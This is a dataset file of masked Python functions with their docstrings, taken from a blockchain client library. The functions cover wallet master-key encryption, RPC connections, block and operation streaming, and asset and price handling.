{"signature": "@property<EOL><INDENT>def masterkey(self):<DEDENT>", "body": "return self.decrypted_master<EOL>", "docstring": "Contains the **decrypted** master key", "id": "f8226:c0:m1"}
{"signature": "def has_masterpassword(self):", "body": "return self.config_key in self.config<EOL>", "docstring": "Tells us if the config store knows an encrypted masterpassword", "id": "f8226:c0:m2"}
{"signature": "def locked(self):", "body": "return not self.unlocked()<EOL>", "docstring": "Is the store locked. E.g. Is a valid password known that can be\n            used to decrypt the master key?", "id": "f8226:c0:m3"}
{"signature": "def unlocked(self):", "body": "if self.password is not None:<EOL><INDENT>return bool(self.password)<EOL><DEDENT>else:<EOL><INDENT>if (<EOL>\"<STR_LIT>\" in os.environ<EOL>and os.environ[\"<STR_LIT>\"]<EOL>and self.config_key in self.config<EOL>and self.config[self.config_key]<EOL>):<EOL><INDENT>log.debug(\"<STR_LIT>\" \"<STR_LIT>\")<EOL>self.unlock(os.environ.get(\"<STR_LIT>\"))<EOL>return bool(self.password)<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Is the store unlocked so that I can decrypt the content?", "id": "f8226:c0:m4"}
{"signature": "def lock(self):", "body": "self.password = None<EOL>self.decrypted_master = None<EOL>", "docstring": "Lock the store so that we can no longer decrypt the content of the\n            store", "id": "f8226:c0:m5"}
{"signature": "def unlock(self, password):", "body": "self.password = password<EOL>if self.config_key in self.config and self.config[self.config_key]:<EOL><INDENT>self._decrypt_masterpassword()<EOL><DEDENT>else:<EOL><INDENT>self._new_masterpassword(password)<EOL>self._save_encrypted_masterpassword()<EOL><DEDENT>", "docstring": "The password is used to encrypt this masterpassword. To\n            decrypt the keys stored in the keys database, one must use\n            BIP38, decrypt the masterpassword from the configuration\n            store with the user password, and use the decrypted\n            masterpassword to decrypt the BIP38 encrypted private keys\n            from the keys storage!\n\n            :param str password: Password to use for en-/de-cryption", "id": "f8226:c0:m6"}
{"signature": "def _decrypt_masterpassword(self):", "body": "aes = AESCipher(self.password)<EOL>checksum, encrypted_master = self.config[self.config_key].split(\"<STR_LIT:$>\")<EOL>try:<EOL><INDENT>decrypted_master = aes.decrypt(encrypted_master)<EOL><DEDENT>except Exception:<EOL><INDENT>self._raise_wrongmasterpassexception()<EOL><DEDENT>if checksum != self._derive_checksum(decrypted_master):<EOL><INDENT>self._raise_wrongmasterpassexception()<EOL><DEDENT>self.decrypted_master = decrypted_master<EOL>", "docstring": "Decrypt the encrypted masterkey", "id": "f8226:c0:m7"}
{"signature": "def _new_masterpassword(self, password):", "body": "<EOL>if self.config_key in self.config and self.config[self.config_key]:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.decrypted_master = hexlify(os.urandom(<NUM_LIT:32>)).decode(\"<STR_LIT:ascii>\")<EOL>self.password = password<EOL>self._save_encrypted_masterpassword()<EOL>return self.masterkey<EOL>", "docstring": "Generate a new random masterkey, encrypt it with the password and\n            store it in the store.\n\n            :param str password: Password to use for en-/de-cryption", "id": "f8226:c0:m10"}
{"signature": "def _derive_checksum(self, s):", "body": "checksum = hashlib.sha256(bytes(s, \"<STR_LIT:ascii>\")).hexdigest()<EOL>return checksum[:<NUM_LIT:4>]<EOL>", "docstring": "Derive the checksum\n\n            :param str s: Random string for which to derive the checksum", "id": "f8226:c0:m11"}
{"signature": "def _get_encrypted_masterpassword(self):", "body": "if not self.unlocked():<EOL><INDENT>raise WalletLocked<EOL><DEDENT>aes = AESCipher(self.password)<EOL>return \"<STR_LIT>\".format(<EOL>self._derive_checksum(self.masterkey), aes.encrypt(self.masterkey)<EOL>)<EOL>", "docstring": "Obtain the encrypted masterkey\n\n            .. note:: The encrypted masterkey is checksummed, so that we can\n                figure out that a provided password is correct or not. The\n                checksum is only 4 bytes long!", "id": "f8226:c0:m12"}
{"signature": "def change_password(self, newpassword):", "body": "if not self.unlocked():<EOL><INDENT>raise WalletLocked<EOL><DEDENT>self.password = newpassword<EOL>self._save_encrypted_masterpassword()<EOL>", "docstring": "Change the password that allows to decrypt the master key", "id": "f8226:c0:m13"}
{"signature": "def decrypt(self, wif):", "body": "if not self.unlocked():<EOL><INDENT>raise WalletLocked<EOL><DEDENT>return format(bip38.decrypt(wif, self.masterkey), \"<STR_LIT>\")<EOL>", "docstring": "Decrypt the content according to BIP38\n\n            :param str wif: Encrypted key", "id": "f8226:c0:m14"}
{"signature": "def encrypt(self, wif):", "body": "if not self.unlocked():<EOL><INDENT>raise WalletLocked<EOL><DEDENT>return format(bip38.encrypt(str(wif), self.masterkey), \"<STR_LIT>\")<EOL>", "docstring": "Encrypt the content according to BIP38\n\n            :param str wif: Unencrypted key", "id": "f8226:c0:m15"}
{"signature": "def __getattr__(self, name):", "body": "def method(*args, **kwargs):<EOL><INDENT>if \"<STR_LIT>\" not in kwargs:  <EOL><INDENT>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>if kwargs[\"<STR_LIT>\"] in self.api_id and self.api_id[kwargs[\"<STR_LIT>\"]]:<EOL><INDENT>api_id = self.api_id[kwargs[\"<STR_LIT>\"]]<EOL><DEDENT>else:<EOL><INDENT>api_id = kwargs[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>api_id = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:  <EOL><INDENT>api_id = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>self.num_retries = kwargs.get(\"<STR_LIT>\", self.num_retries)<EOL>query = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [api_id, name, list(args)],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:id>\": self.get_request_id(),<EOL>}<EOL>r = self.rpcexec(query)<EOL>message = self.parse_response(r)<EOL>return message<EOL><DEDENT>return method<EOL>", "docstring": "Map all methods to RPC calls and pass through the arguments", "id": "f8227:c0:m7"}
{"signature": "def rpcexec(self, payload):", "body": "try:<EOL><INDENT>response = requests.post(<EOL>\"<STR_LIT>\".format(self.host, self.port),<EOL>data=json.dumps(payload, ensure_ascii=False).encode(\"<STR_LIT:utf8>\"),<EOL>headers=self.headers,<EOL>auth=(self.username, self.password),<EOL>)<EOL>if response.status_code == <NUM_LIT>:<EOL><INDENT>raise UnauthorizedError<EOL><DEDENT>ret = json.loads(response.text)<EOL>if \"<STR_LIT:error>\" in ret:<EOL><INDENT>if \"<STR_LIT>\" in ret[\"<STR_LIT:error>\"]:<EOL><INDENT>raise RPCError(ret[\"<STR_LIT:error>\"][\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>raise RPCError(ret[\"<STR_LIT:error>\"][\"<STR_LIT:message>\"])<EOL><DEDENT><DEDENT><DEDENT>except requests.exceptions.RequestException:<EOL><INDENT>raise RPCConnection(\"<STR_LIT>\")<EOL><DEDENT>except UnauthorizedError:<EOL><INDENT>raise UnauthorizedError(\"<STR_LIT>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>except RPCError as err:<EOL><INDENT>raise err<EOL><DEDENT>else:<EOL><INDENT>return ret[\"<STR_LIT:result>\"]<EOL><DEDENT>", "docstring": "Manual execute a command on API (internally used)\n\n            param str payload: The payload containing the request\n            return: Servers answer to the query\n            rtype: json\n            raises RPCConnection: if no connction can be made\n            raises UnauthorizedError: if the user is not authorized\n            raise ValueError: if the API returns a non-JSON formated answer\n\n            It is not recommended to use this method directly, unless\n            you know what you are doing. All calls available to the API\n            will be wrapped to methods directly::\n\n                info -> grapheneapi.info()", "id": "f8228:c0:m1"}
{"signature": "def __getattr__(self, name):", "body": "def method(*args):<EOL><INDENT>query = {\"<STR_LIT>\": name, \"<STR_LIT>\": args, \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT:id>\": <NUM_LIT:0>}<EOL>r = self.rpcexec(query)<EOL>return r<EOL><DEDENT>return method<EOL>", "docstring": "Map all methods to RPC calls and pass through the arguments", "id": "f8228:c0:m2"}
{"signature": "def rpcexec(self, payload):", "body": "log.debug(json.dumps(payload))<EOL>query = requests.post(self.url, json=payload, proxies=self.proxies())<EOL>if query.status_code != <NUM_LIT:200>:  <EOL><INDENT>raise HttpInvalidStatusCode(<EOL>\"<STR_LIT>\".format(query.status_code)<EOL>)<EOL><DEDENT>return query.text<EOL>", "docstring": "Execute a call by sending the payload\n\n            :param json payload: Payload data\n            :raises ValueError: if the server does not respond in proper JSON\n                                format\n            :raises HttpInvalidStatusCode: if the server returns a status code\n                that is not 200", "id": "f8230:c0:m1"}
{"signature": "def find_next(self):", "body": "if int(self.num_retries) < <NUM_LIT:0>:  <EOL><INDENT>self._cnt_retries += <NUM_LIT:1><EOL>sleeptime = (self._cnt_retries - <NUM_LIT:1>) * <NUM_LIT:2> if self._cnt_retries < <NUM_LIT:10> else <NUM_LIT:10><EOL>if sleeptime:<EOL><INDENT>log.warning(<EOL>\"<STR_LIT>\"<EOL>% (self.url, self._cnt_retries, self.num_retries)<EOL>+ \"<STR_LIT>\" % sleeptime<EOL>)<EOL>sleep(sleeptime)<EOL><DEDENT>return next(self.urls)<EOL><DEDENT>urls = [<EOL>k<EOL>for k, v in self._url_counter.items()<EOL>if (<EOL>int(self.num_retries) >= <NUM_LIT:0><EOL>and v <= self.num_retries<EOL>and (k != self.url or len(self._url_counter) == <NUM_LIT:1>)<EOL>)<EOL>]<EOL>if not len(urls):<EOL><INDENT>raise NumRetriesReached<EOL><DEDENT>url = urls[<NUM_LIT:0>]<EOL>return url<EOL>", "docstring": "Find the next url in the list", "id": "f8231:c0:m6"}
{"signature": "def reset_counter(self):", "body": "self._cnt_retries = <NUM_LIT:0><EOL>for i in self._url_counter:<EOL><INDENT>self._url_counter[i] = <NUM_LIT:0><EOL><DEDENT>", "docstring": "reset the failed connection counters", "id": "f8231:c0:m7"}
{"signature": "@property<EOL><INDENT>def api_id(self):<DEDENT>", "body": "return self.connection.api_id<EOL>", "docstring": "This allows to list api_ids, if they have been registered through\n            api_register() -- LEGACY\n\n            In previous API version, one would connect and register to APIs\n            like this\n\n            .. code-block:: python\n\n                self.api_id[\"database\"] = self.database(api_id=1)\n                self.api_id[\"history\"] = self.history(api_id=1)\n                self.api_id[\"network_broadcast\"] = self.network_broadcast(\n                    api_id=1)", "id": "f8231:c0:m11"}
{"signature": "def register_apis(self):  ", "body": "pass<EOL>", "docstring": "This method is called right after connection and has previously\n            been used to register to different APIs within the backend that are\n            considered default. The requirement to register to APIs has been\n            removed in some systems.", "id": "f8231:c0:m12"}
{"signature": "def rpcexec(self, payload):", "body": "if not self.ws:  <EOL><INDENT>self.connect()<EOL><DEDENT>log.debug(json.dumps(payload))<EOL>self.__lock.acquire()<EOL>try:<EOL><INDENT>self.ws.send(json.dumps(payload, ensure_ascii=False).encode(\"<STR_LIT:utf8>\"))<EOL>ret = self.ws.recv()<EOL><DEDENT>finally:<EOL><INDENT>self.__lock.release()<EOL><DEDENT>return ret<EOL>", "docstring": "Execute a call by sending the payload\n\n            :param json payload: Payload data\n            :raises ValueError: if the server does not respond in proper JSON\n                format", "id": "f8232:c0:m3"}
{"signature": "def info(self):", "body": "return self.blockchain.rpc.get_dynamic_global_properties()<EOL>", "docstring": "This call returns the *dynamic global properties*", "id": "f8234:c0:m2"}
{"signature": "def chainParameters(self):", "body": "if not self._parameters:<EOL><INDENT>self.update_chain_parameters()<EOL><DEDENT>return self._parameters<EOL>", "docstring": "The blockchain parameters, such as fees, and committee-controlled\n            parameters are returned here", "id": "f8234:c0:m3"}
{"signature": "def get_network(self):", "body": "return self.blockchain.rpc.get_network()<EOL>", "docstring": "Identify the network\n\n            :returns: Network parameters\n            :rtype: dict", "id": "f8234:c0:m5"}
{"signature": "def get_chain_properties(self):", "body": "return self.blockchain.rpc.get_chain_properties()<EOL>", "docstring": "Return chain properties", "id": "f8234:c0:m6"}
{"signature": "def config(self):", "body": "return self.blockchain.rpc.get_object(\"<STR_LIT>\")<EOL>", "docstring": "Returns object 2.0.0", "id": "f8234:c0:m7"}
{"signature": "def get_current_block_num(self):", "body": "return self.info().get(self.mode)<EOL>", "docstring": "This call returns the current block\n\n            .. note:: The block number returned depends on the ``mode`` used\n                      when instanciating from this class.", "id": "f8234:c0:m8"}
{"signature": "def get_current_block(self):", "body": "return self.block_class(<EOL>self.get_current_block_num(), blockchain_instance=self.blockchain<EOL>)<EOL>", "docstring": "This call returns the current block\n\n            .. note:: The block number returned depends on the ``mode`` used\n                      when instanciating from this class.", "id": "f8234:c0:m9"}
{"signature": "def get_block_interval(self):", "body": "return self.chainParameters().get(\"<STR_LIT>\")<EOL>", "docstring": "This call returns the block interval", "id": "f8234:c0:m10"}
{"signature": "def block_time(self, block_num):", "body": "return self.block_class(block_num, blockchain_instance=self.blockchain).time()<EOL>", "docstring": "Returns a datetime of the block with the given block\n            number.\n\n            :param int block_num: Block number", "id": "f8234:c0:m11"}
{"signature": "def block_timestamp(self, block_num):", "body": "return int(<EOL>self.block_class(block_num, blockchain_instance=self.blockchain)<EOL>.time()<EOL>.timestamp()<EOL>)<EOL>", "docstring": "Returns the timestamp of the block with the given block\n            number.\n\n            :param int block_num: Block number", "id": "f8234:c0:m12"}
{"signature": "def blocks(self, start=None, stop=None):", "body": "<EOL>self.block_interval = self.get_block_interval()<EOL>if not start:<EOL><INDENT>start = self.get_current_block_num()<EOL><DEDENT>while True:<EOL><INDENT>if stop:<EOL><INDENT>head_block = stop<EOL><DEDENT>else:<EOL><INDENT>head_block = self.get_current_block_num()<EOL><DEDENT>for blocknum in range(start, head_block + <NUM_LIT:1>):<EOL><INDENT>block = self.wait_for_and_get_block(blocknum)<EOL>block.update({\"<STR_LIT>\": blocknum})<EOL>yield block<EOL><DEDENT>start = head_block + <NUM_LIT:1><EOL>if stop and start > stop:<EOL><INDENT>return<EOL><DEDENT>time.sleep(self.block_interval)<EOL><DEDENT>", "docstring": "Yields blocks starting from ``start``.\n\n            :param int start: Starting block\n            :param int stop: Stop at this block\n            :param str mode: We here have the choice between\n             \"head\" (the last block) and \"irreversible\" (the block that is\n             confirmed by 2/3 of all block producers and is thus irreversible)", "id": "f8234:c0:m13"}
{"signature": "def wait_for_and_get_block(self, block_number, blocks_waiting_for=None):", "body": "if not blocks_waiting_for:<EOL><INDENT>blocks_waiting_for = max(<NUM_LIT:1>, block_number - self.get_current_block_num())<EOL><DEDENT>repetition = <NUM_LIT:0><EOL>while self.get_current_block_num() < block_number:<EOL><INDENT>repetition += <NUM_LIT:1><EOL>time.sleep(self.block_interval)<EOL>if repetition > blocks_waiting_for * self.max_block_wait_repetition:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>block = self.blockchain.rpc.get_block(block_number)<EOL>repetition = <NUM_LIT:0><EOL>while not block:<EOL><INDENT>repetition += <NUM_LIT:1><EOL>time.sleep(self.block_interval)<EOL>if repetition > self.max_block_wait_repetition:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>block = self.blockchain.rpc.get_block(block_number)<EOL><DEDENT>return block<EOL>", "docstring": "Get the desired block from the chain, if the current head block is\n            smaller (for both head and irreversible) then we wait, but a\n            maxmimum of blocks_waiting_for * max_block_wait_repetition time\n            before failure.\n\n            :param int block_number: desired block number\n            :param int blocks_waiting_for: (default) difference between\n                block_number and current head how many blocks we are willing to\n                wait, positive int", "id": "f8234:c0:m14"}
{"signature": "def ops(self, start=None, stop=None, **kwargs):", "body": "for block in self.blocks(start=start, stop=stop, **kwargs):<EOL><INDENT>for tx in block[\"<STR_LIT>\"]:<EOL><INDENT>for op in tx[\"<STR_LIT>\"]:<EOL><INDENT>op[<NUM_LIT:0>] = self.operationids.getOperationName(op[<NUM_LIT:0>])<EOL>yield {<EOL>\"<STR_LIT>\": block[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": op,<EOL>\"<STR_LIT>\": block[\"<STR_LIT>\"],<EOL>}<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yields all operations (excluding virtual operations) starting from\n            ``start``.\n\n            :param int start: Starting block\n            :param int stop: Stop at this block\n            :param str mode: We here have the choice between\n             \"head\" (the last block) and \"irreversible\" (the block that is\n             confirmed by 2/3 of all block producers and is thus irreversible)\n            :param bool only_virtual_ops: Only yield virtual operations\n\n            This call returns a list that only carries one operation and\n            its type!", "id": "f8234:c0:m15"}
{"signature": "def stream(self, opNames=[], *args, **kwargs):", "body": "for op in self.ops(**kwargs):<EOL><INDENT>if not opNames or op[\"<STR_LIT>\"][<NUM_LIT:0>] in opNames:<EOL><INDENT>r = {<EOL>\"<STR_LIT:type>\": op[\"<STR_LIT>\"][<NUM_LIT:0>],<EOL>\"<STR_LIT>\": op.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": op.get(\"<STR_LIT>\"),<EOL>}<EOL>r.update(op[\"<STR_LIT>\"][<NUM_LIT:1>])<EOL>yield r<EOL><DEDENT><DEDENT>", "docstring": "Yield specific operations (e.g. comments) only\n\n            :param array opNames: List of operations to filter for\n            :param int start: Start at this block\n            :param int stop: Stop at this block\n            :param str mode: We here have the choice between\n                 * \"head\": the last block\n                 * \"irreversible\": the block that is confirmed by 2/3 of all\n                    block producers and is thus irreversible!\n\n            The dict output is formated such that ``type`` caries the\n            operation type, timestamp and block_num are taken from the\n            block the operation was stored in and the other key depend\n            on the actualy operation.", "id": "f8234:c0:m16"}
{"signature": "def awaitTxConfirmation(self, transaction, limit=<NUM_LIT:10>):", "body": "counter = <NUM_LIT:10><EOL>for block in self.blocks():<EOL><INDENT>counter += <NUM_LIT:1><EOL>for tx in block[\"<STR_LIT>\"]:<EOL><INDENT>if sorted(tx[\"<STR_LIT>\"]) == sorted(transaction[\"<STR_LIT>\"]):<EOL><INDENT>return tx<EOL><DEDENT><DEDENT>if counter > limit:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Returns the transaction as seen by the blockchain after being\n            included into a block\n\n            .. note:: If you want instant confirmation, you need to instantiate\n                      class:`.blockchain.Blockchain` with\n                      ``mode=\"head\"``, otherwise, the call will wait until\n                      confirmed in an irreversible block.\n\n            .. note:: This method returns once the blockchain has included a\n                      transaction with the **same signature**. Even though the\n                      signature is not usually used to identify a transaction,\n                      it still cannot be forfeited and is derived from the\n                      transaction contented and thus identifies a transaction\n                      uniquely.", "id": "f8234:c0:m17"}
{"signature": "def get_all_accounts(self, start=\"<STR_LIT>\", stop=\"<STR_LIT>\", steps=<NUM_LIT>, **kwargs):", "body": "lastname = start<EOL>while True:<EOL><INDENT>ret = self.blockchain.rpc.lookup_accounts(lastname, steps)<EOL>for account in ret:<EOL><INDENT>yield account[<NUM_LIT:0>]<EOL>if account[<NUM_LIT:0>] == stop:<EOL><INDENT>raise StopIteration<EOL><DEDENT><DEDENT>if lastname == ret[-<NUM_LIT:1>][<NUM_LIT:0>]:<EOL><INDENT>raise StopIteration<EOL><DEDENT>lastname = ret[-<NUM_LIT:1>][<NUM_LIT:0>]<EOL>if len(ret) < steps:<EOL><INDENT>raise StopIteration<EOL><DEDENT><DEDENT>", "docstring": "Yields account names between start and stop.\n\n            :param str start: Start at this account name\n            :param str stop: Stop at this account name\n            :param int steps: Obtain ``steps`` ret with a single call from RPC", "id": "f8234:c0:m18"}
{"signature": "@property<EOL><INDENT>def proposer(self):<DEDENT>", "body": "if \"<STR_LIT>\" in self:<EOL><INDENT>return self.account_class(self[\"<STR_LIT>\"])<EOL><DEDENT>", "docstring": "Return the proposer of the proposal if available in the backend,\n            else returns None", "id": "f8235:c0:m3"}
{"signature": "def refresh(self):", "body": "asset = self.blockchain.rpc.get_asset(self.identifier)<EOL>if not asset:<EOL><INDENT>raise AssetDoesNotExistsException(self.identifier)<EOL><DEDENT>super(Asset, self).__init__(asset, blockchain_instance=self.blockchain)<EOL>if self.full:<EOL><INDENT>if \"<STR_LIT>\" in asset:<EOL><INDENT>self[\"<STR_LIT>\"] = self.blockchain.rpc.get_object(<EOL>asset[\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>self[\"<STR_LIT>\"] = self.blockchain.rpc.get_object(<EOL>asset[\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>", "docstring": "Refresh the data from the API server", "id": "f8236:c0:m1"}
{"signature": "@property<EOL><INDENT>def is_fully_loaded(self):<DEDENT>", "body": "return self.full and \"<STR_LIT>\" in self and \"<STR_LIT>\" in self<EOL>", "docstring": "Is this instance fully loaded / e.g. all data available?", "id": "f8236:c0:m2"}
{"signature": "@property<EOL><INDENT>def is_bitasset(self):<DEDENT>", "body": "return \"<STR_LIT>\" in self<EOL>", "docstring": "Is the asset a market pegged asset?", "id": "f8236:c0:m5"}
{"signature": "@property<EOL><INDENT>def permissions(self):<DEDENT>", "body": "return self[\"<STR_LIT>\"]<EOL>", "docstring": "List the permissions for this asset that the issuer can obtain", "id": "f8236:c0:m6"}
{"signature": "@property<EOL><INDENT>def flags(self):<DEDENT>", "body": "return self[\"<STR_LIT>\"]<EOL>", "docstring": "List the permissions that are currently used (flags)", "id": "f8236:c0:m7"}
{"signature": "def update_cer(self, cer, account=None, **kwargs):", "body": "assert callable(self.blockchain.update_cer)<EOL>return self.blockchain.update_cer(<EOL>self[\"<STR_LIT>\"], cer, account=account, **kwargs<EOL>)<EOL>", "docstring": "Update the Core Exchange Rate (CER) of an asset", "id": "f8236:c0:m9"}
{"signature": "def copy(self):", "body": "return self.__class__(<EOL>amount=self[\"<STR_LIT>\"],<EOL>asset=self[\"<STR_LIT>\"].copy(),<EOL>blockchain_instance=self.blockchain,<EOL>)<EOL>", "docstring": "Copy the instance and make sure not to use a reference", "id": "f8237:c0:m1"}
{"signature": "@property<EOL><INDENT>def amount(self):<DEDENT>", "body": "return self[\"<STR_LIT>\"]<EOL>", "docstring": "Returns the amount as float", "id": "f8237:c0:m2"}
{"signature": "@property<EOL><INDENT>def symbol(self):<DEDENT>", "body": "return self[\"<STR_LIT>\"]<EOL>", "docstring": "Returns the symbol of the asset", "id": "f8237:c0:m3"}
{"signature": "@property<EOL><INDENT>def asset(self):<DEDENT>", "body": "if not self[\"<STR_LIT>\"]:<EOL><INDENT>self[\"<STR_LIT>\"] = self.asset_class(<EOL>self[\"<STR_LIT>\"], blockchain_instance=self.blockchain<EOL>)<EOL><DEDENT>return self[\"<STR_LIT>\"]<EOL>", "docstring": "Returns the asset as instance of :class:`.asset.Asset`", "id": "f8237:c0:m5"}
{"signature": "def __setitem__(self, key, value):", "body": "dict.__setitem__(self, key, value)<EOL>if (<EOL>\"<STR_LIT>\" in self and \"<STR_LIT>\" in self and self[\"<STR_LIT>\"] and self[\"<STR_LIT>\"]<EOL>):  <EOL><INDENT>dict.__setitem__(<EOL>self,<EOL>\"<STR_LIT>\",<EOL>self._safedivide(self[\"<STR_LIT>\"][\"<STR_LIT>\"], self[\"<STR_LIT>\"][\"<STR_LIT>\"]),<EOL>)<EOL><DEDENT>", "docstring": "Here we set \"price\" if we change quote or base", "id": "f8238:c0:m1"}
{"signature": "def as_base(self, base):", "body": "if base == self[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>return self.copy()<EOL><DEDENT>elif base == self[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>return self.copy().invert()<EOL><DEDENT>else:<EOL><INDENT>raise InvalidAssetException<EOL><DEDENT>", "docstring": "Returns the price instance so that the base asset is ``base``.\n\n            Note: This makes a copy of the object!", "id": "f8238:c0:m5"}
{"signature": "def as_quote(self, quote):", "body": "if quote == self[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>return self.copy()<EOL><DEDENT>elif quote == self[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>return self.copy().invert()<EOL><DEDENT>else:<EOL><INDENT>raise InvalidAssetException<EOL><DEDENT>", "docstring": "Returns the price instance so that the quote asset is ``quote``.\n\n            Note: This makes a copy of the object!", "id": "f8238:c0:m6"}
{"signature": "def invert(self):", "body": "tmp = self[\"<STR_LIT>\"]<EOL>self[\"<STR_LIT>\"] = self[\"<STR_LIT>\"]<EOL>self[\"<STR_LIT>\"] = tmp<EOL>if \"<STR_LIT>\" in self and self[\"<STR_LIT>\"]:<EOL><INDENT>self[\"<STR_LIT>\"] = self.amount_class(<EOL>self[\"<STR_LIT>\"][\"<STR_LIT>\"] * self[\"<STR_LIT>\"], self[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>return self<EOL>", "docstring": "Invert the price (e.g. go from ``USD/BTS`` into ``BTS/USD``)", "id": "f8238:c0:m7"}
{"signature": "def json(self):", "body": "quote = self[\"<STR_LIT>\"]<EOL>base = self[\"<STR_LIT>\"]<EOL>frac = Fraction(int(quote) / int(base)).limit_denominator(<EOL><NUM_LIT:10> ** base[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>)<EOL>return {<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": int(frac.denominator), \"<STR_LIT>\": base[\"<STR_LIT>\"][\"<STR_LIT:id>\"]},<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": int(frac.numerator), \"<STR_LIT>\": quote[\"<STR_LIT>\"][\"<STR_LIT:id>\"]},<EOL>}<EOL>", "docstring": "return {\n    \"base\": self[\"base\"].json(),\n    \"quote\": self[\"quote\"].json()\n}", "id": "f8238:c0:m8"}
{"signature": "def setKeys(self, loadkeys):", "body": "log.debug(\"<STR_LIT>\")<EOL>if isinstance(loadkeys, dict):<EOL><INDENT>loadkeys = list(loadkeys.values())<EOL><DEDENT>elif not isinstance(loadkeys, (list, set)):<EOL><INDENT>loadkeys = [loadkeys]<EOL><DEDENT>for wif in loadkeys:<EOL><INDENT>pub = self.publickey_from_wif(wif)<EOL>self.store.add(str(wif), pub)<EOL><DEDENT>", "docstring": "This method is strictly only for in memory keys that are\n            passed to Wallet with the ``keys`` argument", "id": "f8240:c0:m5"}
{"signature": "def is_encrypted(self):", "body": "return self.store.is_encrypted()<EOL>", "docstring": "Is the key store encrypted?", "id": "f8240:c0:m6"}
{"signature": "def unlock(self, pwd):", "body": "if self.store.is_encrypted():<EOL><INDENT>return self.store.unlock(pwd)<EOL><DEDENT>", "docstring": "Unlock the wallet database", "id": "f8240:c0:m7"}
{"signature": "def lock(self):", "body": "if self.store.is_encrypted():<EOL><INDENT>return self.store.lock()<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Lock the wallet database", "id": "f8240:c0:m8"}
{"signature": "def unlocked(self):", "body": "if self.store.is_encrypted():<EOL><INDENT>return not self.store.locked()<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Is the wallet database unlocked?", "id": "f8240:c0:m9"}
{"signature": "def locked(self):", "body": "if self.store.is_encrypted():<EOL><INDENT>return self.store.locked()<EOL><DEDENT>", "docstring": "Is the wallet database locked?", "id": "f8240:c0:m10"}
{"signature": "def changePassphrase(self, new_pwd):", "body": "self.masterpwd.changePassword(new_pwd)<EOL>", "docstring": "Change the passphrase for the wallet database", "id": "f8240:c0:m11"}
{"signature": "def created(self):", "body": "if len(self.store.getPublicKeys()):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Do we have a wallet database already?", "id": "f8240:c0:m12"}
{"signature": "def create(self, pwd):", "body": "self.newWallet(pwd)<EOL>", "docstring": "Alias for newWallet()", "id": "f8240:c0:m13"}
{"signature": "def newWallet(self, pwd):", "body": "if self.created():<EOL><INDENT>raise WalletExists(\"<STR_LIT>\")<EOL><DEDENT>self.store.unlock(pwd)<EOL>", "docstring": "Create a new wallet database", "id": "f8240:c0:m14"}
{"signature": "def addPrivateKey(self, wif):", "body": "try:<EOL><INDENT>pub = self.publickey_from_wif(wif)<EOL><DEDENT>except Exception:<EOL><INDENT>raise InvalidWifError(\"<STR_LIT>\")<EOL><DEDENT>if str(pub) in self.store:<EOL><INDENT>raise KeyAlreadyInStoreException(\"<STR_LIT>\")<EOL><DEDENT>self.store.add(str(wif), str(pub))<EOL>", "docstring": "Add a private key to the wallet database", "id": "f8240:c0:m15"}
{"signature": "def getPrivateKeyForPublicKey(self, pub):", "body": "if str(pub) not in self.store:<EOL><INDENT>raise KeyNotFound<EOL><DEDENT>return self.store.getPrivateKeyForPublicKey(str(pub))<EOL>", "docstring": "Obtain the private key for a given public key\n\n            :param str pub: Public Key", "id": "f8240:c0:m16"}
{"signature": "def removePrivateKeyFromPublicKey(self, pub):", "body": "self.store.delete(str(pub))<EOL>", "docstring": "Remove a key from the wallet database", "id": "f8240:c0:m17"}
{"signature": "def removeAccount(self, account):", "body": "accounts = self.getAccounts()<EOL>for a in accounts:<EOL><INDENT>if a[\"<STR_LIT:name>\"] == account:<EOL><INDENT>self.store.delete(a[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>", "docstring": "Remove all keys associated with a given account", "id": "f8240:c0:m18"}
{"signature": "def getOwnerKeyForAccount(self, name):", "body": "account = self.rpc.get_account(name)<EOL>for authority in account[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>key = self.getPrivateKeyForPublicKey(authority[<NUM_LIT:0>])<EOL>if key:<EOL><INDENT>return key<EOL><DEDENT><DEDENT>raise KeyNotFound<EOL>", "docstring": "Obtain owner Private Key for an account from the wallet database", "id": "f8240:c0:m19"}
{"signature": "def getMemoKeyForAccount(self, name):", "body": "account = self.rpc.get_account(name)<EOL>key = self.getPrivateKeyForPublicKey(account[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>if key:<EOL><INDENT>return key<EOL><DEDENT>return False<EOL>", "docstring": "Obtain owner Memo Key for an account from the wallet database", "id": "f8240:c0:m20"}
